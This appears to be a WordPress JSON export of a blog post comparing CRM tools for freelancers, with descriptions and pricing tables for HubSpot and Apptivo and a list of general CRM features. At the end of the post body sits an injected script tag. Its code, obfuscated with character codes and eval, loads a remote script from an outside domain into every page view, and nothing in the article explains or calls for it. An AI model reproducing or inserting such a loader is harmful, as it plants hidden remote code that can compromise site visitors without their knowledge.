class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=&quot;wp-block-image&quot;><img src=&quot;https:\/\/images.startups.co.uk\/wp-content\/uploads\/2017\/08\/hubspot-logo-small.jpg&quot; alt=&quot;HubSpot logo&quot; class=&quot;wp-image-116328&quot;\/><\/figure>\n\n\n\n<p>It isn&#8217;t easy to find a great all-in-one provider that is absolutely free, but HubSpot is one of the best here.<\/p>\n\n\n\n<p>CRM Free is not a trial \u2013 it&#8217;s free forever, but there are add-on services for when your business grows: Marketing Hub (\u00a30-\u00a3655 \/ month) and Sales Hub (\u00a30-\u00a3333 \/ month).<\/p>\n\n\n\n<p>HubSpot is ideal for freelance businesses with limited business development and marketing resources, whereas fast-growing companies might find they soon outgrow its capabilities.<\/p>\n\n\n\n<p>HubSpot is known as a one-stop platform for organising, tracking and nurturing your clients and potential clients, and a great option for freelance businesses looking to target specific persona groups with their sales and marketing campaigns.<\/p>\n\n\n\n<p><strong>Great for:<\/strong>&nbsp;Businesses who are ticking along nicely, and want a CRM software that&#8217;s free and will stay free<\/p>\n\n\n\n<p><strong>Pros:<\/strong>&nbsp;Free forever, simple to set up, a doddle to use<\/p>\n\n\n\n<p><strong>Cons:<\/strong>&nbsp;Risk of outgrowing its capabilities, limited features<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">What can HubSpot do?<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Marketing automation<\/strong>&nbsp;\u2013 Integrate all the data you have on your current and potential clients into a workflow which helps you take the best care of them.<\/li><li><strong>Email marketing<\/strong>&nbsp;\u2013 Create templated and customised emails, with automatic shifting, scheduling and robust reporting.<\/li><li><strong>Social media marketing<\/strong>&nbsp;\u2013 Get basic social media contact and tracking capabilities.<\/li><li><strong>Lead management<\/strong>&nbsp;\u2013 Market more efficiently with communications tailored to your clients.<\/li><li><strong>Reporting and metrics<\/strong>&nbsp;\u2013 Understand your clients better with customised reports.<\/li><li><strong>Site keyword tool<\/strong>&nbsp;\u2013 Help your pages rank better on search engines, by comparing you with your competition, and suggesting ways to improve.<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">What will HubSpot cost me?<\/h3>\n\n\n\n<p>The table below includes some information about HubSpot&#8217;s various plans.<\/p>\n\n\n\n<figure class=&quot;wp-block-table&quot;><table class=&quot;&quot;><thead><tr><th><strong>CRM Free<\/strong><\/th><th><strong>Plus<\/strong><\/th><th><strong>Enterprise<\/strong><\/th><\/tr><\/thead><tbody><tr><td>\u00a30\/user per month<\/td><td>\u00a327\/user per month<\/td><td>\u00a341\/user per month<\/td><\/tr><tr><td>Out-of-the-box CRM for up to five users<\/td><td>Complete CRM for any size team<\/td><td>Deeply customisable sales CRM for your business<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Apptivo_%E2%80%93_is_it_for_me\"><\/span>Apptivo \u2013 is it for me?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=&quot;wp-block-image&quot;><img src=&quot;https:\/\/images.startups.co.uk\/wp-content\/uploads\/2017\/08\/apptivo-logo-small.jpg&quot; alt=&quot;Apptivo&quot; class=&quot;wp-image-116329&quot;\/><\/figure>\n\n\n\n<p>Apptivo is a cloud-based system of applications, specifically aimed at freelance businesses. It is also one of the most affordable CRM options on the market.<\/p>\n\n\n\n<p>Unlike some other CRM suppliers, with Apptivo you get access to its entire platform of 40 apps (covering key areas like CRM, Project Management, and Invoicing) included in the monthly price.<\/p>\n\n\n\n<p>It uses a graphic-heavy dashboard, which makes data management less intimidating for the less tech-savvy user, and they specialise in a range of fields, from financials to human resources and supply chain management.<\/p>\n\n\n\n<p><strong>Great for:<\/strong>&nbsp;Freelance businesses not wanting to fork out too much on CRM just yet, but keen to grow<\/p>\n\n\n\n<p><strong>Pros:<\/strong>&nbsp;Very responsive support, plenty of features<\/p>\n\n\n\n<p><strong>Cons:<\/strong>&nbsp;Can take a bit of work to get it set up<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">What can Apptivo do?<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Marketing<\/strong>&nbsp;\u2013 Create targeted lists of contacts, build email marketing campaigns, and track analytics.<\/li><li><strong>Sales<\/strong>&nbsp;\u2013 Complete CRM capability with robust contact management, sales pipeline, automation, and reporting.<\/li><li><strong>Help Desk<\/strong>&nbsp;\u2013 A powerful ticketing system with email integration, web portal, and time tracking.<\/li><li><strong>Project Management<\/strong>&nbsp;\u2013 Manage project schedules via gantt charts, track time and milestones, and invoice for effort spent.<\/li><li><strong>Field Service<\/strong>&nbsp;\u2013 Work order assignment and dispatching, mobile photo, time, and materials capture, and billing.<\/li><li><strong>Quoting and Billing<\/strong>&nbsp;\u2013 Build professional quotes and email them to clients with integrated billing and recurring invoice capabilities.<\/li><li><strong>Order Management<\/strong>&nbsp;\u2013 Turn quotes into orders, track inventory and shipments, and bill your clients for products purchased.<\/li><li><strong>Procurement and Supply Chain<\/strong>&nbsp;\u2013 Manage vendors, track purchase orders and invoicing, and manage inventory.<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">What will Apptivo cost me?<\/h3>\n\n\n\n<p>The table below includes some information about Apptivo&#8217;s various plans.<\/p>\n\n\n\n<figure class=&quot;wp-block-table&quot;><table class=&quot;&quot;><thead><tr><th><strong>Starter<\/strong><\/th><th><strong>Premium<\/strong><\/th><th><strong>Enterprise<\/strong><\/th><th><strong>Ultimate<\/strong><\/th><\/tr><\/thead><tbody><tr><td>$0\/user per month<\/td><td>$8\/user per month<\/td><td>$20\/user per month<\/td><td>$2 Flexible<\/td><\/tr><tr><td>Out-of-the-box CRM for up to five users<\/td><td>Complete CRM for any size team<\/td><td>Deeply customisable sales CRM for your business<\/td><td>Perfect for growing businesses with unique requests<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<hr class=&quot;wp-block-separator&quot;\/>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Freelance_business_CRM_software\"><\/span>Freelance business CRM software<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Freelance business CRM software offers a range of features that can significantly improve both internal and external processes. Many of the benefits have been repeated across the suppliers listed above, but should not be forgotten.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Service \u2013 CRM services allow freelance businesses to manage client relationships. As freelance businesses often have fewer resources than larger competitors, being able to manage the whole process using a CRM system can be a huge benefit.<\/li><li>Sales \u2013 Improving sales is an almost ubiquitous goal, with every business having to hit targets in one way or another. Employing a CRM system can help your business to hit these targets every month.<\/li><li>Collaborate \u2013 With a quality CRM system, your team can stay focused, with tasks managed centrally and easily. Never fall behind again with task management, workflows and auto-assign features.<\/li><\/ul>\n\n\n\n<p>The main benefit of freelance business CRM software though, is probably the versatility on offer and the adaptability that it provides. Being able to manage systems effectively relies on strong processes \u2013 a good CRM helps your business to create, develop and maintain these processes.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Summary_Best_CRM_system_for_freelance_business\"><\/span>Summary: Best CRM system for freelance business<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>In this article, we have compared the best CRM systems for freelance businesses. Here is a review of our top providers:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Insightly \u2013 best for ease of use<\/li><li>Salesforce \u2013 best for in-depth reporting<\/li><li>Zoho \u2013 best for low budget<\/li><\/ul>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Freelance_business_CRM_features\"><\/span>Freelance business CRM features<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Many of the most common freelance business CRM features have already been mentioned throughout this page, however it is important to remember them in order to fully appreciate the benefit that a customer relationship management system could have for your operations.<\/p>\n\n\n\n<p>The list below includes some of the top features, with more information about each included further down the page.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>CRM database<\/li><li>Cloud-based CRM<\/li><li>CRM sales software<\/li><li>CRM client management<\/li><li>Email-based CRM<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">CRM database<\/h3>\n\n\n\n<p>A CRM database allows businesses to track a range of things. Data can come in many forms, and a CRM system offers analytics that can help your freelance business to monitor and manage information effectively.<\/p>\n\n\n\n<p>The sort of data that can be tracked varies by system, but some of the most common forms of information include:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Client information<\/li><li>Sales figures<\/li><li>Team information<\/li><li>Goals and targets<\/li><li>Business information<\/li><\/ul>\n\n\n\n<p>The type of data included in your CRM will depend on the plan you have opted for, and also on the information you need.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Cloud-based CRM<\/h3>\n\n\n\n<p>Cloud-based systems have become more popular in almost every sector and form of technology, CRM is no different, with cloud-based CRM systems quickly becoming the ordinary choice for freelance businesses.<\/p>\n\n\n\n<p>Cloud-based simply means that a whole system can be stored and accessed online \u2013 this frees up space within your own organisation, and allows for ease-of-use, wherever or whenever you need to use your customer relationship management system. And best of all, it&#8217;s a more affordable option.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">CRM sales software<\/h3>\n\n\n\n<p>Sales is one of the key targets for any commercial business. Without sales \u2013 whether that be services or products \u2013 a business simply cannot continue operating.<\/p>\n\n\n\n<p>A good CRM system will help freelance businesses to improve sales processes, adding efficiency and value in a huge range of areas. The sales software involved in many CRM systems can help to improve workflows, schedule calls or appointments, manage sales once they have been completed and track revenue.<\/p>\n\n\n\n<p>Most modern sales-teams use CRM software to manage their processes \u2013 as a freelance business, it can be an excellent way to make sure you stay ahead of your competition.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">CRM client management<\/h3>\n\n\n\n<p>Client management comes in many forms, with sales, complaints and assistance among a number of services that need to be handled efficiently in order to please paying clients.<\/p>\n\n\n\n<p>A CRM system can significantly improve a freelance business\u2019 ability to manage client processes. Unlike large businesses, where there are often whole teams dedicated to client service, freelance businesses will often have to make do with fewer staff \u2013 a CRM system can help to streamline this process.<\/p>\n\n\n\n<p>Understanding your clients\u2019 needs and requirements can be difficult, with a CRM system though, you can help your staff to get better at it. Various features allow for automated services to improve client retention, by scheduling calls automatically, providing information or feedback without the need for human input, as well as in several other ways.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Email-based CRM<\/h3>\n\n\n\n<p>Email is one of the processes that benefits most from a quality CRM system. With customer relationship management software you can automate processes that have, in the past, hampered marketing or sales efforts.<\/p>\n\n\n\n<p>Employing email-based CRM can help to speed up and improve a huge range of tasks. Send bulk emails, automate replies for common queries, send receipts or instructions. The possibilities for email CRM are varied and can be a huge benefit in freelance business.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Benefits_of_CRM\"><\/span>Benefits of CRM<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Freelance business CRM software delivers a host of benefits \u2013 not just to your clients, but also to your bottom line, and even helps your staff work better.<\/p>\n\n\n\n<p>Here are the main areas where you\u2019ll see results with CRM:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Better service for your clients<\/strong>&nbsp;\u2013 Of course, improving client relationships is at the heart of CRM \u2013 just as it will be key to driving sales. By managing your client interactions over a single, easy-to-use interface, no one will get left behind.<\/li><li><strong>More sales<\/strong>&nbsp;\u2013 Who doesn\u2019t want a sales boost? CRM can help your business plan for, hit, and even grow your sales targets each month.<\/li><li><strong>More productive staff<\/strong>&nbsp;\u2013 With quality CRM software, your team can stay focused, and task management features will help your team work smarter.<\/li><\/ul>\n\n\n\n<p>But the main benefit of CRM for freelance businesses is the versatility it offers you. The right CRM system for you will make managing client relationships a walk in the park.<\/p>\n<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script>","protected":false},"excerpt":{"rendered":"<p>We\u2019ve scoured the CRM landscape to find the best CRM suppliers for freelancers in 2020, and below will explain everything you need to know to pick the one that\u2019s right for you. Each system is cloud-based (so you can access them from any device, anywhere), and offer a free trial (letting you try before you [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[922],"tags":[],"class_list":["post-6233","post","type-post","status-publish","format-standard","hentry","category-freelance"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6233"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=6233"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6233\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=6233"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=6233"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=6233"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}